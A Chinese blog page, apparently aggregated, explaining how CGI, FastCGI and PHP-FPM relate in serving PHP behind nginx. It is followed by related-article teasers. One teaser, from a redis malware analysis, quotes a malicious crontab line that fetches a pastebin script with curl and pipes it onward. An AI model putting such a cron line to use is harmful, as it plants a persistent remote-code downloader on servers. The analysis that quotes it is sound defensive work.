先说下我最近看到的一篇文章,哈哈哈,特别好玩。

一步步教你编写不可维护的 PHP 代码

之前一直知道 PHP 在 CGI 模式下运行。命令行下在 CLI 模式下运行。

但是 FPM 和 nginx 配置 FastCGI 他们具体是什么关系?还真的不太明白,今天来说下他们的关系。

CGI 是干什么的?

  这得和我们的一个请求的正常流程来看。

  当一个请求来时,由 WebServer(nginx/Apache) 来对请求进行分发。

  如果请求的是 index.html 那么服务器回去寻找对应的文件并返回该静态资源。

  当然,这只是静态资源。

  当请求内容为 index.php 时,WebServer 发现这并不是一个静态文件,之后会根据配置来寻找 PHP 解析器来处理这个请求。

  找到 PHP 解析器之后,怎么传递数据呢?必须使用大家都明白的的一个东西吧,就像 英语 -> 英语交流, 汉语->汉语交流,英语->汉语->无法交流(不明白对方说的什么);

  CGI就是规定要传哪些数据、以什么样的格式传递给后方处理这个请求的协议。仔细想想,你在PHP代码中所有的数据是怎么来的?

  

  所以,当收到 /index.php 这个请求后

    1:会启动CGI程序【PHP解释器】。

    2:之后CGI会启动一个进程解析 php.ini ,初始环境,处理请求。

    3:在已规定规定好的CGI格式返回给 WebServer 。

    4:销毁这个进程。

    5:WebServer 在把结果返回给浏览器。

  

  CGI是个协议,是为了保证web server传递过来的数据是标准格式的

Fastcgi 是干什么的?

  这里就需要说一下 PHP-CGI 的缺点了,通过上面关于CGI的描述,发现 CGI 的特点

    请求->启动一个进程处理->处理完销毁这个进程

  CGI在请求时反复加载,这也正是 CGI 性能低下的主要原因,正是应为这样,才有了Fastcgi。

  

  定义:WEB服务器与处理程序之间通信的一种协议,是CGI的改进方案。

  

  不同【也可以说是特点吧】: 

    1:fastcgi 是一个常驻型的CGI,可以一直运行,在请求时,不会fock一个新的进程来处理。

    2:CGI 解释器进程在内存中保持,以此来获得更好的性能。

   

  Fastcgi 工作流程:

    1:在Web Server启动时同时载入 Fastcgi 进程管理器

    2:Fastcgi进程管理器自身初始化,启动多个CGI解释器进程(可见多个php-cgi)并等待WebServer的连接

    3:当客户端请求到达Web Server时,FastCGI进程管理器选择并连接到一个CGI解释器。 Web server将CGI环境变量和标准输入发送到FastCGI子进程php-cgi。

    4:FastCGI子进程完成处理后将标准输出和错误信息从同一连接返回Web Server。当FastCGI子进程关闭连接时,请求便告处理完成。

    5:  FastCGI子进程接着等待并处理来自FastCGI进程管理器(运行在Web Server中)的下一个连接。在CGI模式中,php-cgi在此便退出了。

  简单来说:

    比如我家要装修,装修材料不知道什么时候来。

    CGI是:

      装修材料来->雇工人->干活->解雇工人。

      费时费力。

    Fastcgi:

      先雇几个工人等着->不管什么时候材料来->干活->继续等着

  总结:Fastcgi就是用来提高CGI程序性能的。

PHP-FPM 是干什么的? 

  Fastcgi 比 CGI 好用,我们为什么不用,于是 被PHP官方收了。

  大家都知道,PHP解释器是PHP-CGI,但是PHP-CGI是个CGI程序,自己本身只能解析请求,并不能对进程进行管理。

  所以就出现了一些可以管理 PHP-CGI 进程的程序。

  PHP-FPM 也就是这样。

  总结:php-fpm是fastcgi进程的管理器,用来管理fastcgi进程的

总结:

  fastcgi是一个协议,php-fpm实现了这个协议。

  php-fpm的管理对象是php-cgi。但不能说php-fpm是fastcgi进程的管理器,因为前面说了fastcgi是个协议,似乎没有这么个进程存在,就算存在php-fpm也管理不了他(至少目前是).

  

参考:

  搞不清FastCgi与PHP-fpm之间是个什么样的关系

  

《PHP - CGI/Fastcgi/PHP-FPM》的更多相关文章

  1. 《PHP内核剖析 - FPM》

    一:概述 - FPM 定义 -  FPM(FastCGI Process Manager)是PHP FastCGI运行模式的一个进程管理器. -  FastCGI -  Web服务器(如:Nginx. ...

  2. Nginx + CGI/FastCGI + C/Cpp

    接着上篇<Nginx安装与使用>,本篇介绍CGI/FASTCGI的原理.及如何使用C/C++编写简单的CGI/FastCGI,最后将CGI/FASTCGI部署到nginx.内容大纲如下: ...

  3. [转] Nginx + CGI/FastCGI + C/Cpp

    接着上篇<Nginx安装与使用>,本篇介绍CGI/FASTCGI的原理.及如何使用C/C++编写简单的CGI/FastCGI,最后将CGI/FASTCGI部署到nginx.内容大纲如下: ...

  4. 转:nginx+CGI/FASTCGI

    简介版: 1.fastcgi与cgi区别:fastcgi通过线程来响应请求,而cgi对每个请求生成一个进程. 2.典型nginx数据传输过程:user->nginx->本地socket(请 ...

  5. cgi fastcgi php-cgi php-fpm

      参考: 摘至:http://www.cnblogs.com/thinksasa/p/4497567.html 详说fastcgi,php-fpm的区别:http://segmentfault.co ...

  6. 【转】Nginx + CGI/FastCGI + C/Cpp

    接着上篇<Nginx安装与使用>,本篇介绍CGI/FASTCGI的原理.及如何使用C/C++编写简单的CGI/FastCGI,最后将CGI/FASTCGI部署到nginx.内容大纲如下: ...

  7. 《Linux多线程服务端编程》笔记——多线程服务器的适用场合

    如果要在一台多核机器上提供一种服务或执行一个任务,可用的模式有 运行一个单线程的进程 运行一个多线程的进程 运行多个单线程的进程 运行多个多线程的进程 这些模式之间的比较已经是老生常谈,简单地总结 模 ...

  8. 《PHP内核探索系列文章》系列分享专栏

    <PHP内核探索系列文章>已整理成PDF文档,点击可直接下载至本地查阅 简介 PHP内核探索系列文章收藏夹收藏有关PHP内核方面的知识的文章,对PHP高级进阶的朋友提供PHP内核方面的知识 ...

  9. 《Linux就该这么学》培训笔记_ch20使用LNMP架构部署动态网站环境

    <Linux就该这么学>培训笔记_ch20使用LNMP架构部署动态网站环境 文章最后会post上书本的笔记照片. 文章主要内容: 源码包程序 LNMP动态网站架构 配置Mysql服务 配置 ...

随机推荐

  1. 用交叉验证改善模型的预测表现-着重k重交叉验证

    机器学习技术在应用之前使用“训练+检验”的模式(通常被称作”交叉验证“). 预测模型为何无法保持稳定? 让我们通过以下几幅图来理解这个问题: 此处我们试图找到尺寸(size)和价格(price)的关系 ...

  2. 安装APK失败,错误代码:INSTALL_FAILED_INVALID_APK 解决方案

    错误代码:installation failed with message failed to finalize session:INSTALL_FAILED_INVALID_APK 解决方法如下:

  3. Atitit uke公司简介与基本制度建设草案v11 r66 .docx

    Atitit uke公司简介与基本制度建设草案v11 r66 .docx Uke  org prj Author撰写人: 作者:: 绰号:老哇的爪子claw of Eagle 偶像破坏者Iconocl ...

  4. 记一次redis病毒分析笔记

    起因 偶然间发现redis里有一个陌生key:tightsoft,它的值是:*/1 * * * * root curl -fsSL https://pastebin.com/raw/xbY7p5Tb| ...

  5. [HDFS Manual] CH3 HDFS Commands Guide

    HDFS Commands Guide HDFS Commands Guide 3.1概述 3.2 用户命令 3.2.1 classpath 3.2.2 dfs 3.2.3 envvars 3.2.4 ...

  6. 15个最佳的 JavaScript 表单验证库

    客户端验证在任何项目都是不够的,因为 JavaScript 可以直接忽略,人们可以提交请求到服务器. 然而这并不意味着客户端验证都没必要了,很多时候我们需要在用户提交到服务器之前给予提示.JavaSc ...

  7. 5款最好的免费在线网站CSS验证器

    这里是一个名单, 5免费在线CSS验证器的网站.这些网站让你验证你的CSS代码的自由,没有任何麻烦.你可以选择上传文件,验证CSS添加URL,或简单的复制和粘贴完整的CSS代码.好的方面是,这些网站不 ...

  8. TensorFlow 图片resize方法

    参见这篇博客 tensorflow里面用于改变图像大小的函数是tf.image.resize_images(image, (w, h), method):image表示需要改变此存的图像,第二个参数改 ...

  9. gsoap内存管理与释放

    (一)gSoap客户端调用WebService完成后注意内存释放顺序 //Soap资源清理 soap_destroy(soap_sp.get()); //清理反序列化的类实例 soap_end(soa ...

  10. stl综合

    区别: List封装了链表,Vector封装了数组, list和vector得最主要的区别在于vector使用连续内存存储的,他支持[]运算符,而list是以链表形式实现的,不支持[]. Vector ...